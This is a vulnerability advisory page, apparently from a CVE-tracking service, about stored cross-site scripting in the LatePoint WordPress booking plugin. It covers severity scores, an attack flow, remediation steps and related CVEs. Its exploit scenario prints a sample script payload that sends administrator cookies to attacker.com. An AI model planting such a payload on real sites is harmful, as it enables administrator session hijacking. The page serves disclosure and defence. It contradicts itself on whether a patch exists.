Skip to main content

LatePoint CVE-2026-7332

| EUVDEUVD-2026-27540 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-06 Wordfence GHSA-97wr-3wr5-r6wx
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit malicious booking form
  2. Delivery
    Inject script via booking_form_page_url
  3. Exploit
    Store unsanitized payload in activity log
  4. Install
    Admin views activity log
  5. C2
    Execute stored XSS in admin session
  6. Execute
    Steal session cookies
  7. Impact
    Hijack admin account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of LatePoint Calendar Booking Plugin for WordPress versions ≤5.5.0. The vulnerability triggers automatically when any booking attempt is processed, regardless of Stripe Connect configuration status, because the latepoint_order_intent_created action hook fires before payment gateway validation. Exploitation does NOT require a functional Stripe integration, active payment processing, or any non-default plugin settings. However, successful impact requires an authenticated administrator to view the LatePoint activity log interface where the stored XSS payload executes. The lack of administrator interaction at injection time (UI:N in CVSS) means attackers can poison the database at will, but actual code execution is delayed until admin review, creating a time-of-check-time-of-use gap that limits real-time attack chaining but enables persistent compromise.

Impact

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N indicates network-exploitable attacks with no authentication barriers, low complexity, and changed scope enabling cross-context attacks. The score of 7.2 is justified by the scope change - attackers can inject persistent malicious code into admin contexts from an unauthenticated position. However, real-world exploitation requires social engineering to lure an administrator to view the poisoned activity log, which introduces a human dependency not reflected in UI:N. No EPSS score, KEV status, or POC availability data was provided, suggesting this is a recently disclosed vulnerability without confirmed active exploitation. The Wordfence threat intelligence reference and detailed source code locations indicate thorough researcher validation. Primary risk drivers are: (1) zero authentication requirements for injection, (2) persistence in database guaranteeing repeated execution, (3) targeting of WordPress admin users who possess elevated privileges. Risk is elevated for high-traffic appointment booking sites where admins frequently review activity logs. The lack of Stripe requirement as stated in the description contradicts typical assumptions about payment gateway vulnerabilities, meaning many administrators may incorrectly assume their non-Stripe configurations are unexploitable.

Exploit ScenarioDerived

An unauthenticated attacker crafts a malicious booking request to a WordPress site running LatePoint ≤5.5.0, injecting JavaScript payload into the booking_form_page_url parameter (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>). The plugin writes this unsanitized input to the activity log database table via the latepoint_order_intent_created hook before any Stripe validation occurs. When a site administrator logs into WordPress and navigates to the LatePoint activity log to review bookings, the stored script executes in their browser session, exfiltrating their authentication cookies to the attacker's server. The attacker then uses the stolen session to access the WordPress admin panel with full privileges.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Stored cross-site scripting (XSS) in LatePoint WordPress booking plugin (versions ≤5.5.0) allows unauthenticated attackers to inject malicious scripts via the 'booking_form_page_url' parameter that execute when administrators view activity logs. The vulnerability exploits a design flaw where the latepoint_order_intent_created action hook writes unsanitized input to the database before Stripe Connect validation occurs, meaning no functional payment integration is required for exploitation. Wordfence reported this issue with source code references demonstrating the flawed input handling in activities_controller.php and activities_helper.php. CVSS 7.2 with scope change (S:C) reflects potential for attackers to pivot from stored XSS to administrative session hijacking.

RemediationAI

Upgrade to LatePoint version 5.5.1 or later, which implements input sanitization for the booking_form_page_url parameter based on changeset 3522933 visible at https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3522933%40latepoint%2Ftrunk&old=3516282%40latepoint%2Ftrunk&sfp_email=&sfph_mail=. If immediate patching is not feasible, implement a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript event handlers in the booking_form_page_url parameter, though this may break legitimate bookings with complex referrer URLs. Alternatively, restrict WordPress admin dashboard access to trusted IP addresses via .htaccess or firewall rules, reducing the attack surface for stored XSS execution, but this will impair remote administration capabilities. Review activity logs in the LatePoint admin interface for suspicious entries containing script tags, JavaScript protocols (javascript:), or HTML event handlers (onload, onerror) and manually purge malicious records from the database via phpMyAdmin or WP-CLI, noting this requires technical expertise and database backup before modification.

Affected VersionsENISA

LatePoint – Calendar Booking Plugin for Appointments and Events 0 ≤5.5.0

Affected Packages

euvd latepoint_calendar_booking_plugin_for_appointments_and_events no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exists in the LatePoint Calendar Booking Plugin for WordPress (CPE: cpe:2.3:a:latepoint:latepoint_-_calendar_booking_plugin_for_appointments_and_events), a scheduling and appointment management system. The flaw is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin's Stripe integration flow triggers the latepoint_order_intent_created action hook before validating Stripe Connect account credentials. The activities_controller.php (line 214) and activities_helper.php (line 83) process the booking_form_page_url parameter without sanitization, writing attacker-controlled data directly to WordPress database tables as activity log entries. When administrators later view these logs through the plugin's admin interface, the unsanitized script executes in their browser context. The premature hook execution means the attack surface exists even on installations where Stripe payments are unconfigured or non-functional, significantly broadening exposure beyond typical payment gateway vulnerabilities.

Know when Latepoint gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The LatePoint - Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'booking_form_page_url' parameter in all versions up to, and including, 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious activity log entry is written to the database even when Stripe is not configured, because the latepoint_order_intent_created action hook fires before the Stripe Connect account ID is validated, meaning a fully functional Stripe integration is not required for exploitation.

Executive ViewAI

Why It Matters

LatePoint WordPress booking plugin versions 5.5.0 and earlier contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts into the database via booking form parameters, which execute when site administrators access activity logs. This creates direct risk to administrator accounts and site integrity, potentially enabling session hijacking and unauthorized administrative actions without requiring valid payment credentials.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Deactivate LatePoint plugin until patch available; (2) Restrict activity log access to essential administrators only; (3) Implement input validation at WAF level to sanitize booking_form_page_url parameter; (4) Enable WordPress security monitoring to alert on stored XSS patterns in database activity logs; (5) Require multi-factor authentication for all administrator accounts to reduce session hijacking impact.

Threat Intelligence Overview

EPSS Score
0.2%
Top 63% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-8943 CRITICAL POC
9.8 Oct 08

The LatePoint plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.0.12. Rate

CVE-2024-8911 CRITICAL POC
9.8 Oct 08

The LatePoint plugin for WordPress is vulnerable to Arbitrary User Password Change via SQL Injection in versions up to,

CVE-2024-2472 CRITICAL
9.1 Jun 14

The LatePoint Plugin plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a

CVE-2026-105256 MEDIUM POC
5.3 Oct 21

Price tampering in the LatePoint WordPress booking plugin before 5.7.5 lets a remote unauthenticated visitor manipulate

CVE-2026-57714 CRITICAL
9.3 Jul 13

Blind SQL injection in the LatePoint WordPress appointment-booking plugin (versions up to and including 5.6.3) lets remo

CVE-2026-110653 CRITICAL
9.1 Oct 17

LatePoint WordPress plugin through 5.7.4 allows unauthenticated remote attackers who know a target customer's registered

CVE-2026-92966 CRITICAL
9.1 Oct 01

Unauthenticated arbitrary shortcode execution in LatePoint (Appointment Booking Plugin - Calendar & Scheduling for WordP

CVE-2026-104766 HIGH
8.8 Oct 10

Privilege escalation in the LatePoint appointment booking plugin for WordPress (all versions up to and including 5.7.3)

CVE-2026-6741 HIGH
8.8 Apr 27

Privilege escalation in the LatePoint booking plugin for WordPress (versions ≤ 5.4.1) lets an authenticated user holding

CVE-2026-13228 HIGH
8.8 Jul 01

Privilege escalation to Administrator in the LatePoint booking plugin for WordPress (versions up to and including 5.6.3)

CVE-2024-43945 HIGH
8.8 Oct 21

Cross-Site Request Forgery (CSRF) vulnerability in Latepoint LatePoint allows Cross Site Request Forgery.9.91. Rated hig

CVE-2026-8176 HIGH
7.5 Jun 16

Privilege escalation in the LatePoint Calendar Booking plugin for WordPress (versions up to and including 5.5.1) allows

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy